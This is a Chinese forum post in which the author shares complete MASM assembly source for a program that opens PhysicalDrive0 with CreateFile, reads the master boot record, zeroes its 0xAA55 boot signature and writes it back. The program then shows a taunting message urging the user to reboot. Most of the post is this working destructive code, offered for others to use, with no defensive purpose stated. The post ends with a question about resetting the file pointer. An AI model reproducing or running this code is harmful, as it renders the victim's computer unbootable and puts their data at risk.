在网上闲逛发现有前人在网上发的资料 说用CreateFile就可以读写MBR
以前总以为这么重要的东西Windows不会让人碰 让动的话起码得有Ring0权限
在网上问了下果然好多人说不可以改写MBR必须要提高权限或者改写驱动
本人菜鸟还没有到写驱动的能力 用前人的资料试了下果然可以改写
看来不能光听别人说还得身体力行才行
下面附上本人写的一个小程序源码 破坏MBR最后的结束标志0AA55h

代码:
    .386
    .model flat, stdcall
    option casemap: none


include    windows.inc
include    user32.inc
includelib  user32.lib
include    kernel32.inc
includelib  kernel32.lib


    .data
szFileName  db  '\\.\PhysicalDrive0', 0
szCaption  db  'Made By ZuChen', 0
szText    db  '呵呵,重启下计算机看看有什么精彩的发现', 0dh, 0ah
    db  '如果不能解决可以来找我哦', 0


    .data?
hDriver    dd  ?
szReadBuffer  db  512 dup (?)
dwBytesRead  dd  ?


    .code
start:
    invoke  CreateFile, addr szFileName, GENERIC_READ or GENERIC_WRITE, \
      FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL
    mov  hDriver, eax
    .if  hDriver == INVALID_HANDLE_VALUE
        invoke  ExitProcess, NULL
    .endif
    invoke  ReadFile, hDriver, addr szReadBuffer,\
      sizeof szReadBuffer, addr dwBytesRead, 0
    
    .if  eax == 0
        invoke  ExitProcess, NULL
    .endif
    invoke  CloseHandle, hDriver

    invoke  CreateFile, addr szFileName, GENERIC_READ or GENERIC_WRITE, \
      FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL
    mov  hDriver, eax
    mov  byte ptr [szReadBuffer + 510], 00h
    mov  byte ptr [szReadBuffer + 511], 00h
    invoke  WriteFile, hDriver, addr szReadBuffer,\
      sizeof szReadBuffer, addr dwBytesRead, 0
    .if  eax == 0
        invoke  ExitProcess, NULL
    .endif
    invoke  CloseHandle, hDriver

    invoke  MessageBox, NULL, offset szText, offset szCaption, MB_OK
    invoke  ExitProcess, NULL


    end  start
小弟还有一点不知道的就是在恢复文件指针的时候调用SetFilePointer函数失败结果只能关闭文件然后再打开一次让指针复位 有没有兄弟知道直接让指针复位的方法 谢啦